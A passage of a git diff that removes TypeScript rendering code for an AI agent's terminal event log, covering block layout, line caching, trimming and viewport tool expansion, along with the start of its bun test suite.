}]]; - const thinkingContentLines = plainLines(block.content, { color: color("muted"), dim: true }, width); - // Gutter prefix distinguishes thinking from model output at a glance. - const prefixedLines: StyledLine[] = thinkingContentLines.map((line) => [ - { text: "│ ", color: color("dim"), dim: true }, - ...line, - ]); - return [ - [{ text: "▾ thinking", color: color("muted"), dim: true }], - ...prefixedLines, - ]; - } - case "user": { - // Subtle box: paint background only on content rows. Blank spacer rows - // used to be full-width bg fills and could flash as solid grey blocks - // during scroll/repaint when content was empty or mid-frame. - // plainLines/wrapRanges always yield ≥1 row (even for ""), so gate on - // real emptiness rather than userLines.length. - if (!block.content.trim()) return []; - const bg = color("userMessageBg"); - const LEFT = 1; - const RIGHT = 1; - const innerWidth = Math.max(1, width - LEFT - RIGHT); - const blankRow: StyledLine = [{ text: "" }]; - const userLines = plainLines( - compactUserCodeBlocks(block.content), - { color: color("text"), backgroundColor: bg }, - innerWidth, - ); - const body = userLines.map((line) => { - const textLen = line.reduce((n, s) => n + s.text.length, 0); - const pad = Math.max(0, innerWidth - textLen + RIGHT); - return [ - { text: " ".repeat(LEFT), backgroundColor: bg }, - ...line, - { text: " ".repeat(pad), backgroundColor: bg }, - ]; - }); - return [blankRow, ...body, blankRow]; - } - case "text": { - const textLines = streaming - ? streamingTextLines(block.content, width) - : markdownLines(block.content, width); - // Leading marker keeps assistant prose visually separate from the colored - // user banner while staying quiet in the layout. - if (textLines.length === 0) return textLines; - // Fold the marker into the wrap budget so a full first line doesn't - // overflow the column — an uncounted spill row would push the viewport's - // bottom line (the newest text) out of view. - const firstWrapped = wrapStyledLine( - [{ text: " ● ", color: color("text") }, ...(textLines[0] ?? [])], - width, - ); - return [...firstWrapped, ...textLines.slice(1)]; - } - case "tool_call": { - const callId = block.callId ?? block.id; - const result = allBlocks !== undefined ? toolResultForCall(allBlocks, callId) : undefined; - const pending = result === undefined; - const started = block.startedAt ?? 0; - const finished = result?.finishedAt ?? started; - const durationSuffix = result !== undefined ? formatToolDurationMs(finished - started) : ""; - const indented = indentLines( - toolCallLines(block, width - TOOL_INDENT, expanded, { - pending, - durationSuffix, - }), - TOOL_INDENT, - ); - const callLines = indented; - return pending ? markRunningRow(callLines, started) : callLines; - } - case "tool_result": { - const indented = indentLines(toolResultLines(block, columns, width - TOOL_INDENT, expanded), TOOL_INDENT); - return indented; - } - case "view": - return viewToLines(block.node, columns); - case "error": - return plainLines(block.message, { color: color("danger") }, width); - case "plan": - return planStepLines(block, width, planCtx); - default: - return []; - } -} - -type AssembleBlocksArgs = { - blocks: RenderableBlock[]; - columns: number; - thinkingExpanded: boolean; - isExpanded: (block: RenderableBlock) => boolean; - cache?: Map; - planCtx?: PlanContext; - startBlockIndex: number; - prefixLines: StyledLine[]; -}; - -function pruneBlockLineCache(cache: Map, blocks: RenderableBlock[]): void { - const activeIds = new Set(blocks.map((b) => b.id)); - for (const key of cache.keys()) { - if (!activeIds.has(blockIdFromCacheKey(key))) cache.delete(key); - } -} - -function assembleRenderableBlocks(args: AssembleBlocksArgs): { lines: StyledLine[]; blockLineStarts: number[] } { - const { - blocks, - columns, - thinkingExpanded, - isExpanded, - cache, - planCtx, - startBlockIndex, - prefixLines, - } = args; - const lines = [...prefixLines]; - const blockLineStarts = new Array(blocks.length); - const lastIdx = blocks.length - 1; - let lastWasAction = false; - - for (let i = startBlockIndex; i < blocks.length; i++) { - blockLineStarts[i] = lines.length; - const block = blocks[i]!; - const next = blocks[i + 1]; - const startsTurn = block.type === "user" || block.type === "text"; - const isAction = block.type === "tool_call" || block.type === "tool_result"; - // Insert a blank line before a new turn or before an action group that - // follows prose. This keeps model text from butting directly into tool - // headlines (the main source of the "smashed together" complaint). - // Consecutive actions stay compact (no extra blank between them). - if ((startsTurn || (isAction && !lastWasAction)) && lines.length > 0) { - const last = lines[lines.length - 1]; - if (last && last.length > 0) lines.push([]); - } - - if ( - block.type === "tool_call" - && (block.name === "edit_file" || block.name === "write_file") - && !isExpanded(block) - ) { - let j = i; - let pairCount = 0; - while (j + 1 < blocks.length) { - const call = blocks[j]; - const result = blocks[j + 1]; - if ( - call?.type !== "tool_call" - || result?.type !== "tool_result" - || (call.name !== "edit_file" && call.name !== "write_file") - || result.name !== call.name - || isExpanded(call) - || isExpanded(result) - ) break; - pairCount++; - j += 2; - } - if (pairCount >= 3) { - const groupLines = indentLines( - mergedFileEditGroupLines(pairCount, Math.max(8, columns) - TOOL_INDENT), - TOOL_INDENT, - ); - lines.push(...groupLines); - for (let k = i + 1; k < j; k++) blockLineStarts[k] = lines.length; - i = j - 1; - lastWasAction = true; - continue; - } - } - - if ( - block.type === "tool_call" - && next?.type === "tool_result" - && (next.callId ?? next.id) === (block.callId ?? block.id) - && next.name === block.name - && !isExpanded(block) - && !isExpanded(next) - ) { - const mergedLines = indentLines( - mergedToolLines(block, next, Math.max(8, columns) - TOOL_INDENT), - TOOL_INDENT, - ); - lines.push(...mergedLines); - if (i + 1 < blocks.length) blockLineStarts[i + 1] = lines.length; - i++; - lastWasAction = true; - continue; - } - - const expanded = isExpanded(block); - const isStreaming = i === lastIdx || block.type === "plan"; - let blockLines: StyledLine[]; - - if (cache !== undefined && !isStreaming) { - const key = blockCacheKey(block, columns, expanded, blocks); - const cached = cache.get(key); - if (cached !== undefined) { - blockLines = cached; - } else { - blockLines = blockToLines(block, columns, expanded, thinkingExpanded, planCtx, false, blocks); - cache.set(key, blockLines); - } - } else { - blockLines = blockToLines(block, columns, expanded, thinkingExpanded, planCtx, isStreaming, blocks); - } - lines.push(...blockLines); - lastWasAction = isAction; - } - - return { lines, blockLineStarts }; -} - -export const DEFAULT_MAX_RENDERED_LOG_LINES = 2000; - -export type IncrementalLinesState = { - blocks: RenderableBlock[]; - lines: StyledLine[]; - blockLineStarts: number[]; - /** Visual line contribution per block index from the last raw assemble (pre-trim). */ - blockRenderLineCounts: number[]; - layoutKey: string; - firstRenderedBlockIndex: number; - hiddenRenderedLineCount: number; - // The exact ContentBlock[] reference `blocks` was filtered from. The stream - // state getter reuses its snapshot array reference across content-only - // mutations (streamed tokens mutate a block in place rather than replacing - // the array), so an identical reference here means renderableBlocks/filter - // would recompute an identical result — skip it and reuse `blocks` directly - // rather than re-walking every block on every streamed token. - sourceBlocks: ContentBlock[]; -}; - -function blockLineCountsFromStarts(blockLineStarts: number[], lineCount: number): number[] { - // assembleRenderableBlocks leaves indices below startBlockIndex sparse. Treat - // any hole as zero-width so downstream sums never see NaN — `??` does not - // catch NaN once it propagates, so the guard belongs here at the source. - const counts = new Array(blockLineStarts.length); - for (let i = 0; i < blockLineStarts.length; i++) { - const start = blockLineStarts[i] ?? 0; - const rawNext = i + 1 < blockLineStarts.length ? blockLineStarts[i + 1] : lineCount; - const next = rawNext ?? start; - counts[i] = Math.max(0, next - start); - } - return counts; -} - -function findTailStartFromLineCounts(counts: number[], maxLines: number, markerReserve: number): number { - const budget = maxLines - markerReserve; - let accumulated = 0; - for (let i = counts.length - 1; i >= 0; i--) { - const count = counts[i] ?? 0; - if (accumulated + count > budget && i < counts.length - 1) return i + 1; - accumulated += count; - } - return 0; -} - -function hiddenLinesMarker(hidden: number): StyledLine { - return [ - { text: `↑ ${hidden} earlier rendered lines hidden to keep the UI responsive`, dim: true }, - ]; -} - -function trimBuiltLinesToMax( - lines: StyledLine[], - blockLineStarts: number[], - blocks: RenderableBlock[], - maxLines: number, -): Pick { - if (lines.length <= maxLines) { - return { - lines, - blockLineStarts, - firstRenderedBlockIndex: 0, - hiddenRenderedLineCount: 0, - }; - } - - const keptLineCount = maxLines - 2; - const cutAt = lines.length - keptLineCount; - let firstRenderedBlockIndex = 0; - for (let i = 0; i < blocks.length; i++) { - if ((blockLineStarts[i] ?? 0) >= cutAt) { - firstRenderedBlockIndex = i; - break; - } - } - - const trimmed = [ - hiddenLinesMarker(lines.length - keptLineCount), - [] satisfies StyledLine, - ...lines.slice(cutAt), - ]; - const offset = cutAt - 2; - const nextStarts = blockLineStarts.map((start, i) => - i < firstRenderedBlockIndex ? 0 : Math.max(0, start - offset), - ); - - return { - lines: trimmed, - blockLineStarts: nextStarts, - firstRenderedBlockIndex, - hiddenRenderedLineCount: lines.length - keptLineCount, - }; -} - -function estimateBlockLineCount( - block: RenderableBlock, - columns: number, - expanded: boolean, - cache?: Map, - allBlocks?: RenderableBlock[], -): number { - const cached = cache?.get(blockCacheKey(block, columns, expanded, allBlocks)); - if (cached !== undefined) return cached.length; - if (block.type === "tool_call" || block.type === "tool_result") return 1; - if (block.type === "view") { - // Use real layout so tall grids / stacks from present get accurate virtual scroll estimates. - return viewToLines(block.node, columns).length; - } - let chars = 40; - if (block.type === "user" || block.type === "text" || block.type === "thinking") { - chars = block.content.length; - } else if (block.type === "error") { - chars = block.message.length; - } - return Math.max(1, Math.ceil(chars / Math.max(8, columns))); -} - -function findColdPathStartIndex( - blocks: RenderableBlock[], - columns: number, - isExpanded: (block: RenderableBlock) => boolean, - cache: Map | undefined, - maxLines: number, - knownCounts?: number[], -): number { - if (knownCounts !== undefined && knownCounts.length === blocks.length) { - return findTailStartFromLineCounts(knownCounts, maxLines, 4); - } - const budget = maxLines - 4; - let accumulated = 0; - for (let i = blocks.length - 1; i >= 0; i--) { - const block = blocks[i]!; - const expanded = isExpanded(block); - const turnGap = block.type === "user" || block.type === "text" ? 1 : 0; - const count = estimateBlockLineCount(block, columns, expanded, cache, blocks) + turnGap; - if (accumulated + count > budget && i < blocks.length - 1) return i + 1; - accumulated += count; - } - return 0; -} - -export function buildLinesIncremental( - prev: IncrementalLinesState | undefined, - contentBlocks: ContentBlock[], - columns: number, - thinkingExpanded: boolean, - isExpanded: (block: RenderableBlock) => boolean, - cache?: Map, - planCtx?: PlanContext, - layoutKey?: string, - maxRenderedLines: number = DEFAULT_MAX_RENDERED_LOG_LINES, -): IncrementalLinesState { - // Streamed tokens mutate the trailing block's content in place rather than - // replacing contentBlocks, so the array reference is stable across a whole - // burst of token deltas. Reusing prev's filtered result on a reference match - // skips re-walking every block on every token, which is what kept this - // O(transcript length) per streamed token instead of O(1). - const key = layoutKey ?? ""; - const blocks = - prev !== undefined && prev.sourceBlocks === contentBlocks && prev.layoutKey === key - ? prev.blocks - : renderableBlocks(contentBlocks).filter((b) => thinkingExpanded || b.type !== "thinking"); - // Prune stale cache entries only when blocks were removed (cache has more - // entries than active blocks). During streaming only the tail changes, so - // this skips the O(cache+n) scan on every frame. - if (cache !== undefined && cache.size > blocks.length) { - pruneBlockLineCache(cache, blocks); - } - - let startBlockIndex = 0; - let prefixLines: StyledLine[] = []; - - const prevTailStart = prev?.firstRenderedBlockIndex ?? 0; - - if (prev !== undefined && prev.layoutKey === key && blocks.length > 0) { - const prevLength = prev.blocks.length; - const maxPrefix = Math.min(prevLength, blocks.length); - let commonPrefix = 0; - while ( - commonPrefix < maxPrefix - && blocks[commonPrefix] === prev.blocks[commonPrefix] - ) { - commonPrefix++; - } - - if (blocks.length >= prevLength && commonPrefix >= prevLength - 1) { - // All changes are confined to prev's last block (the one that was - // streaming) and any number of appended blocks — covers a drain that - // both grew the streaming block and delivered new tool blocks. When the - // arrays are identical, the last block is still reassembled so the - // streaming path stays uncached. - startBlockIndex = - commonPrefix === blocks.length ? blocks.length - 1 : Math.min(commonPrefix, blocks.length - 1); - // A newly arrived tool_result still shares object identity with its - // earlier tool_call. Pull the assemble window back so the call is not - // left frozen as · running in the prefix. - startBlockIndex = earliestCallIndexForNewResults(blocks, startBlockIndex, prevLength); - prefixLines = - startBlockIndex === prevLength - ? prev.lines - : prev.lines.slice(0, prev.blockLineStarts[startBlockIndex] ?? 0); - } else if (blocks.length === prevLength && commonPrefix < prevTailStart) { - startBlockIndex = prevTailStart; - prefixLines = []; - } else if (blocks.length < prevLength) { - const dropped = prevLength - blocks.length; - const suffixMatches = blocks.every((b, i) => b === prev.blocks[i + dropped]); - if (suffixMatches) { - startBlockIndex = Math.max(0, prevTailStart - dropped); - prefixLines = []; - } - } - } - - if (startBlockIndex === 0 && blocks.length > 60) { - const knownCounts = - prev !== undefined - && prev.layoutKey === key - && prev.blockRenderLineCounts.length === blocks.length - ? prev.blockRenderLineCounts - : undefined; - const coldStart = findColdPathStartIndex( - blocks, - columns, - isExpanded, - cache, - maxRenderedLines, - knownCounts, - ); - if (coldStart > 0) { - startBlockIndex = coldStart; - prefixLines = [ - [{ text: `↑ ${coldStart} earlier blocks skipped during initial layout to keep the UI responsive`, dim: true }], - [], - ]; - } - } - - const { lines: rawLines, blockLineStarts: rawStarts } = assembleRenderableBlocks({ - blocks, - columns, - thinkingExpanded, - isExpanded, - ...(cache !== undefined ? { cache } : {}), - ...(planCtx !== undefined ? { planCtx } : {}), - startBlockIndex, - prefixLines, - }); - - let blockLineStarts = rawStarts; - let lines = rawLines; - let blockRenderLineCounts = blockLineCountsFromStarts(rawStarts, rawLines.length); - - if (prev !== undefined && startBlockIndex > 0) { - for (let i = 0; i < startBlockIndex; i++) { - blockLineStarts[i] = prev.blockLineStarts[i] ?? 0; - if (i < prev.blockRenderLineCounts.length) { - const prevCount = prev.blockRenderLineCounts[i]; - if (prevCount !== undefined) blockRenderLineCounts[i] = prevCount; - } - } - } - - const trimmed = trimBuiltLinesToMax(lines, blockLineStarts, blocks, maxRenderedLines); - lines = trimmed.lines; - blockLineStarts = trimmed.blockLineStarts; - - return { - blocks, - lines, - blockLineStarts, - blockRenderLineCounts, - layoutKey: key, - firstRenderedBlockIndex: trimmed.firstRenderedBlockIndex, - hiddenRenderedLineCount: trimmed.hiddenRenderedLineCount, - sourceBlocks: contentBlocks, - }; -} - -export function buildLines( - contentBlocks: ContentBlock[], - columns: number, - thinkingExpanded: boolean, - isExpanded: (block: RenderableBlock) => boolean, - cache?: Map, - planCtx?: PlanContext, -): StyledLine[] { - return buildLinesIncremental( - undefined, - contentBlocks, - columns, - thinkingExpanded, - isExpanded, - cache, - planCtx, - ).lines; -} - -export function maxLineOffset(lines: StyledLine[], visibleRows: number): number { - return Math.max(0, lines.length - visibleRows); -} - -export function lineWindow(lines: StyledLine[], scrollOffset: number, visibleRows: number): { start: number; end: number } { - const start = Math.max(0, Math.min(scrollOffset, maxLineOffset(lines, visibleRows))); - const end = Math.min(lines.length, start + Math.max(1, visibleRows)); - return { start, end }; -} - -function isFileEditTool(name: string): boolean { - return name === "edit_file" || name === "write_file"; -} - -/** Adjacent call+result with matching name — same rule as the merge assembler. */ -function isAdjacentToolPair( - call: RenderableBlock, - result: RenderableBlock, -): boolean { - return call.type === "tool_call" - && result.type === "tool_result" - && result.name === call.name; -} - -/** - * Recover zero-width partners: paired results, and whole file-edit groups (≥3 pairs). - * Mutates `ids` in place. - */ -function recoverCollapsedPartners( - blocks: readonly RenderableBlock[], - ids: Set, -): void { - for (let i = 0; i < blocks.length - 1; i++) { - const call = blocks[i]!; - const result = blocks[i + 1]!; - if (!isAdjacentToolPair(call, result)) continue; - if (ids.has(call.id)) ids.add(result.id); - else if (ids.has(result.id)) ids.add(call.id); - } - - // Collapsed file-edit groups (≥3 pairs) draw one summary on the first call and - // leave every other block zero-width. Expand the whole group when any member hits. - for (let i = 0; i < blocks.length; ) { - const head = blocks[i]!; - if (head.type !== "tool_call" || !isFileEditTool(head.name)) { - i++; - continue; - } - let j = i; - let pairCount = 0; - const groupIds: string[] = []; - while (j + 1 < blocks.length) { - const call = blocks[j]!; - const result = blocks[j + 1]!; - if (call.type !== "tool_call" || !isAdjacentToolPair(call, result) || !isFileEditTool(call.name)) break; - groupIds.push(call.id, result.id); - pairCount++; - j += 2; - } - if (pairCount >= 3 && groupIds.some((id) => ids.has(id))) { - for (const id of groupIds) ids.add(id); - } - i = j > i ? j : i + 1; - } -} - -/** - * Map a line window onto tool block ids in the same line space as `blockLineStarts`. - * Callers must pass metrics from the layout that produced the scroll offset - * (display layout while verbose) so membership tracks what is on screen. - * - * Zero-width slots left by collapsed merges are recovered: - * - adjacent tool call/result pairs (same name) expand together - * - collapsed file-edit groups (≥3 pairs) expand as a whole when any member hits - */ -export function blockIdsInLineRange( - blocks: readonly RenderableBlock[], - blockLineStarts: readonly number[], - lineCount: number, - lineStart: number, - lineEnd: number, -): Set { - const ids = new Set(); - if (blocks.length === 0 || lineEnd <= lineStart) return ids; - - for (let i = 0; i < blocks.length; i++) { - const block = blocks[i]!; - if (block.type !== "tool_call" && block.type !== "tool_result") continue; - const start = blockLineStarts[i] ?? 0; - const rawNext = i + 1 < blockLineStarts.length ? blockLineStarts[i + 1] : lineCount; - const end = rawNext ?? start; - if (end > lineStart && start < lineEnd) { - ids.add(block.id); - } - } - - recoverCollapsedPartners(blocks, ids); - return ids; -} - -/** Hard cap on tool_call blocks expanded by Ctrl+O for one viewport. */ -export const DEFAULT_MAX_VIEWPORT_EXPAND_TOOL_CALLS = 12; - -export type ViewportToolIdsArgs = { - blocks: readonly RenderableBlock[]; - blockLineStarts: readonly number[]; - lineCount: number; - prefixLineCount: number; - visibleRows: number; - scrollOffset: number; - atBottom: boolean; - /** Extra lines above/below the visible window (defaults to one screen). */ - bufferRows?: number; -}; - -function contentWindowRange(args: { - prefixLineCount: number; - lineCount: number; - visibleRows: number; - scrollOffset: number; - atBottom: boolean; - bufferRows: number; -}): { lineStart: number; lineEnd: number; contentCenter: number } { - const visibleRows = Math.max(1, args.visibleRows); - const buffer = Math.max(0, args.bufferRows); - const total = args.prefixLineCount + args.lineCount; - const maxOff = Math.max(0, total - visibleRows); - const windowStart = args.atBottom - ? maxOff - : Math.min(Math.max(0, args.scrollOffset), maxOff); - const windowEnd = windowStart + visibleRows; - const lineStart = Math.max(0, windowStart - args.prefixLineCount - buffer); - const lineEnd = Math.max(0, windowEnd - args.prefixLineCount + buffer); - const contentCenter = Math.max( - 0, - (windowStart + windowEnd) / 2 - args.prefixLineCount, - ); - return { lineStart, lineEnd, contentCenter }; -} - -/** - * Tools intersecting the visible window (± buffer) in the given layout's line space. - * `scrollOffset` / `atBottom` must come from the same layout as `lineCount`. - */ -export function viewportToolIds(args: ViewportToolIdsArgs): Set { - const visibleRows = Math.max(1, args.visibleRows); - const buffer = Math.max(0, args.bufferRows ?? visibleRows); - const { lineStart, lineEnd } = contentWindowRange({ - prefixLineCount: args.prefixLineCount, - lineCount: args.lineCount, - visibleRows, - scrollOffset: args.scrollOffset, - atBottom: args.atBottom, - bufferRows: buffer, - }); - return blockIdsInLineRange( - args.blocks, - args.blockLineStarts, - args.lineCount, - lineStart, - lineEnd, - ); -} - -/** - * Prefer tools closest to the viewport center when the raw set is denser than the - * hang-safe budget. Keeps paired results and file-edit groups intact after the cut. - */ -export function capViewportToolIds( - ids: ReadonlySet, - blocks: readonly RenderableBlock[], - blockLineStarts: readonly number[], - lineCount: number, - contentCenter: number, - maxToolCalls: number = DEFAULT_MAX_VIEWPORT_EXPAND_TOOL_CALLS, -): Set { - if (ids.size === 0 || maxToolCalls <= 0) return new Set(); - - const scored: { id: string; dist: number }[] = []; - for (let i = 0; i < blocks.length; i++) { - const block = blocks[i]!; - if (block.type !== "tool_call" || !ids.has(block.id)) continue; - const start = blockLineStarts[i] ?? 0; - const rawNext = i + 1 < blockLineStarts.length ? blockLineStarts[i + 1] : lineCount; - const end = rawNext ?? start; - const mid = end > start ? (start + end) / 2 : start; - scored.push({ id: block.id, dist: Math.abs(mid - contentCenter) }); - } - - if (scored.length <= maxToolCalls) { - return new Set(ids); - } - - scored.sort((a, b) => a.dist - b.dist || a.id.localeCompare(b.id)); - const kept = new Set(); - for (let i = 0; i < maxToolCalls; i++) kept.add(scored[i]!.id); - recoverCollapsedPartners(blocks, kept); - return kept; -} - -export type ResolveViewportExpandIdsArgs = ViewportToolIdsArgs & { - previousIds?: ReadonlySet; - /** Buffer for entering the expand set (defaults to one screen). */ - enterBufferRows?: number; - /** Buffer for staying expanded once entered (defaults to two screens). */ - holdBufferRows?: number; - maxToolCalls?: number; -}; - -/** - * Sticky viewport membership: tools enter at the enter buffer, stay expanded - * until they leave the hold buffer, then drop. Caps density near the viewport - * center so a tool-packed screen cannot expand unbounded. - */ -export function resolveViewportExpandIds(args: ResolveViewportExpandIdsArgs): Set { - const visibleRows = Math.max(1, args.visibleRows); - const enterBuffer = Math.max(0, args.enterBufferRows ?? visibleRows); - const holdBuffer = Math.max(enterBuffer, args.holdBufferRows ?? visibleRows * 2); - const maxToolCalls = args.maxToolCalls ?? DEFAULT_MAX_VIEWPORT_EXPAND_TOOL_CALLS; - const previous = args.previousIds ?? new Set(); - - const enter = viewportToolIds({ ...args, bufferRows: enterBuffer }); - const hold = holdBuffer === enterBuffer - ? enter - : viewportToolIds({ ...args, bufferRows: holdBuffer }); - - const sticky = new Set(enter); - for (const id of previous) { - if (hold.has(id)) sticky.add(id); - } - - const { contentCenter } = contentWindowRange({ - prefixLineCount: args.prefixLineCount, - lineCount: args.lineCount, - visibleRows, - scrollOffset: args.scrollOffset, - atBottom: args.atBottom, - bufferRows: 0, - }); - - return capViewportToolIds( - sticky, - args.blocks, - args.blockLineStarts, - args.lineCount, - contentCenter, - maxToolCalls, - ); -} diff --git a/src/tui/components/event-log.test.ts b/src/tui/components/event-log.test.ts deleted file mode 100644 index 3d7f21279..000000000 --- a/src/tui/components/event-log.test.ts +++ /dev/null @@ -1,1459 +0,0 @@ -import { describe, expect, test } from "bun:test"; -import { - blockIdsInLineRange, - buildLines, - buildLinesIncremental, - buildResourceBanner, - capViewportToolIds, - DEFAULT_MAX_RENDERED_LOG_LINES, - DEFAULT_MAX_VIEWPORT_EXPAND_TOOL_CALLS, - maxLineOffset, - lineWindow, - resolveViewportExpandIds, - RUNNING_ELAPSED_RESERVE, - viewportToolIds, -} from "./event-log.js"; -import { formatElapsed } from "./in-flight-indicator.js"; -import type { ContentBlock, ContentBlockData } from "../use-stream.js"; -import { color } from "../theme.js"; - -function asBlock(data: ContentBlockData & { id: string }): ContentBlock { - return data as ContentBlock; -} - -function toolCallBlock(id: string, name: string, args: string, callId = id): ContentBlock { - return asBlock({ type: "tool_call", id, callId, name, arguments: args, startedAt: 0 }); -} - -function toolResultBlock(id: string, callId: string, name: string, content: string, isError = false): ContentBlock { - return asBlock({ type: "tool_result", id, callId, name, content, isError, finishedAt: 1_000 }); -} - -const COLUMNS = 80; - -function isExpanded(): boolean { - return false; -} - -// A long, multi-line shell command — the exact shape that broke scrolling: a -// `gh pr comment --body ''` rendered as one block. -function bigShellBlock(lineCount: number): ContentBlock { - const body = Array.from({ length: lineCount }, (_, i) => `review line ${i}`).join("\n"); - return toolCallBlock("shell-1", "run_shell", JSON.stringify({ command: `gh pr comment 57 --body '${body}'` })); -} - -function lineText(lines: ReturnType): string[] { - return lines.map((line) => line.map((segment) => segment.text).join("")); -} - -function editPair(index: number): ContentBlock[] { - const callId = `edit-${index}`; - return [ - toolCallBlock(callId, "edit_file", JSON.stringify({ path: `src/file-${index}.ts` }), callId), - toolResultBlock(`edit-result-${index}`, callId, "edit_file", `replaced 1 occurrence(s) in src/file-${index}.ts`), - ]; -} - -describe("collapsed shell rows", () => { - test("a long multi-line command is clamped with a more-lines marker", () => { - const lines = lineText(buildLines([bigShellBlock(40)], COLUMNS, false, isExpanded)); - expect(lines.length).toBeLessThanOrEqual(4); - expect(lines[0]).toStartWith(" $ "); - expect(lines[lines.length - 1]).toMatch(/\+\d+ more lines/); - }); - - test("a merged call+result keeps the clamp and appends the outcome arrow", () => { - const call = bigShellBlock(40); - const blocks: ContentBlock[] = [ - call, - { type: "tool_result", id: "r1", callId: "shell-1", name: "run_shell", content: "done", isError: false }, - ]; - const lines = lineText(buildLines(blocks, COLUMNS, false, isExpanded)); - expect(lines.length).toBeLessThanOrEqual(4); - expect(lines[lines.length - 1]).toContain("→ done"); - }); - - test("a short command renders in full with no marker", () => { - const blocks: ContentBlock[] = [ - { type: "tool_call", id: "s2", name: "run_shell", arguments: JSON.stringify({ command: "ls -la" }) }, - ]; - const lines = lineText(buildLines(blocks, COLUMNS, false, isExpanded)); - // The spinner and elapsed clock are painted live by the running-row - // component, so the baked line carries only the command text. - expect(lines).toEqual([" $ ls -la"]); - }); - - test("wrapped shell continuations hang-indent under the dollar prefix", () => { - // One long unbroken token forces a hard wrap; hang-indent keeps the - // continuation under "$ " rather than flush to the left content edge. - const token = "x".repeat(COLUMNS); - const blocks: ContentBlock[] = [ - { - type: "tool_call", - id: "s-hang", - name: "run_shell", - arguments: JSON.stringify({ command: token }), - }, - ]; - const lines = lineText(buildLines(blocks, COLUMNS, false, isExpanded)); - expect(lines.length).toBeGreaterThan(1); - expect(lines[0]).toStartWith(" $ "); - // TOOL_INDENT (2) + hang matching "$ " (2) = 4 leading spaces on wrap rows. - expect(lines[1]).toStartWith(" "); - expect(lines[1]).not.toStartWith(" $ "); - }); - - test("error shell hang-indents under the same dollar prefix (no fail glyph)", () => { - // Call-only (no result yet) still paints as `$ `; hang indent matches success path. - const token = "y".repeat(COLUMNS); - const blocks: ContentBlock[] = [ - toolCallBlock("s-err", "run_shell", JSON.stringify({ command: token }), "s-err"), - ]; - const lines = lineText(buildLines(blocks, COLUMNS, false, isExpanded)); - expect(lines.length).toBeGreaterThan(1); - expect(lines[0]).toStartWith(" $ "); - expect(lines[0]).not.toMatch(/✗|×|✕/); - expect(lines[1]).toStartWith(" "); - expect(lines[1]).not.toMatch(/✗|×|✕/); - }); - - - - test("pending shell marks the running row and completed shell shows duration", () => { - const call: ContentBlock = { - type: "tool_call", - id: "s3", - callId: "s3", - name: "run_shell", - arguments: JSON.stringify({ command: "echo hi" }), - startedAt: 1_000, - }; - const pendingLines = buildLines([call], COLUMNS, false, isExpanded); - const pending = lineText(pendingLines).join("\n"); - expect(pending).not.toContain("running"); - expect(pending).toContain("$ echo hi"); - expect(pendingLines[0]?.[0]?.toolRunningSince).toBe(1_000); - - const done: ContentBlock[] = [ - call, - { - type: "tool_result", - id: "r3", - callId: "s3", - name: "run_shell", - content: "hi\n", - isError: false, - finishedAt: 3_500, - }, - ]; - const finished = lineText(buildLines(done, COLUMNS, false, isExpanded)).join("\n"); - expect(finished).not.toContain("running"); - expect(finished).toContain("· 2.5s"); - expect(finished).toContain("→ hi"); - }); -}); - -describe("pending tool row width budget", () => { - test("a wide pending tool row reserves width for the live elapsed suffix", () => { - const call: ContentBlock = { - type: "tool_call", - id: "wide", - callId: "wide", - name: "read_file", - arguments: JSON.stringify({ path: `/tmp/${"d".repeat(200)}.ts` }), - startedAt: 1_000, - }; - const pendingLines = buildLines([call], COLUMNS, false, isExpanded); - const maxWidth = Math.max(...pendingLines.map((line) => line.reduce((n, s) => n + s.text.length, 0))); - // RunningToolRow appends ` · ` after these baked lines, so the wrap - // budget must leave room for the longest short-form clock (` · 59m 59s`). - expect(maxWidth).toBeLessThanOrEqual(COLUMNS - " · 59m 59s".length); - }); - - test("the reserve covers the appended clock past an hour of runtime", () => { - // The wrap budget is shrunk by RUNNING_ELAPSED_RESERVE; the live clock the - // running row appends must always fit inside it, including the hour form - // (` · 1h 5m 3s` and longer) so a long-running tool never reflows the log. - for (const hours of [1, 2, 23]) { - const clock = ` · ${formatElapsed(hours * 60 * 60 * 1000 + 59 * 60 * 1000 + 59 * 1000)}`; - expect(clock.length).toBeLessThanOrEqual(RUNNING_ELAPSED_RESERVE); - } - }); - - test("a completed tool row is free to fill the full width", () => { - const call: ContentBlock = { - type: "tool_call", - id: "wide-done", - callId: "wide-done", - name: "read_file", - arguments: JSON.stringify({ path: `/tmp/${"d".repeat(200)}.ts` }), - startedAt: 1_000, - }; - const result: ContentBlock = { - type: "tool_result", - id: "wide-done-r", - callId: "wide-done", - name: "read_file", - content: "x", - isError: false, - finishedAt: 1_500, - }; - const doneLines = buildLines([call, result], COLUMNS, false, isExpanded); - const maxWidth = Math.max(...doneLines.map((line) => line.reduce((n, s) => n + s.text.length, 0))); - // No elapsed clock is appended once complete, so the full column is available; - // the pending reserve must not have shrunk the completed wrap budget too. - expect(maxWidth).toBeGreaterThan(COLUMNS - " · 59m 59s".length); - }); -}); - -describe("tool row backgrounds", () => { - // Collapsed tool rows rely on semantic text/icons only — no status wash. - function segmentBackgrounds(lines: ReturnType): Array { - return lines.flatMap((line) => line.map((seg) => seg.backgroundColor)); - } - - test("a pending tool row has no status wash", () => { - const call: ContentBlock = { - type: "tool_call", - id: "run1", - callId: "run1", - name: "read_file", - arguments: JSON.stringify({ path: "src/foo.ts" }), - startedAt: 0, - }; - const lines = buildLines([call], COLUMNS, false, isExpanded); - const backgrounds = segmentBackgrounds(lines); - expect(backgrounds.every((bg) => bg === undefined)).toBe(true); - }); - - test("a completed successful tool row has no status wash", () => { - const call: ContentBlock = { - type: "tool_call", - id: "bg1", - callId: "bg1", - name: "read_file", - arguments: JSON.stringify({ path: "src/foo.ts" }), - startedAt: 0, - }; - - const lines = buildLines( - [ - call, - { - type: "tool_result", - id: "bg1-r", - callId: "bg1", - name: "read_file", - content: "export const x = 1;\n", - isError: false, - finishedAt: 100, - }, - ], - COLUMNS, - false, - isExpanded, - ); - const backgrounds = segmentBackgrounds(lines); - expect(backgrounds.every((bg) => bg === undefined)).toBe(true); - }); - - test("error tool results keep danger text and have no status wash", () => { - const lines = buildLines( - [ - { - type: "tool_result", - id: "err1", - callId: "err1", - name: "run_shell", - content: "permission denied", - isError: true, - finishedAt: 1, - }, - ], - COLUMNS, - false, - isExpanded, - ); - const segs = lines.flat(); - expect(segs.every((seg) => seg.backgroundColor === undefined)).toBe(true); - expect(segs.some((seg) => seg.color !== undefined && seg.text.includes("error:"))).toBe(true); - }); - - test("an expanded tool call body has no status wash", () => { - const call: ContentBlock = { - type: "tool_call", - id: "exp1", - callId: "exp1", - name: "read_file", - arguments: JSON.stringify({ path: "src/foo.ts" }), - startedAt: 0, - }; - function 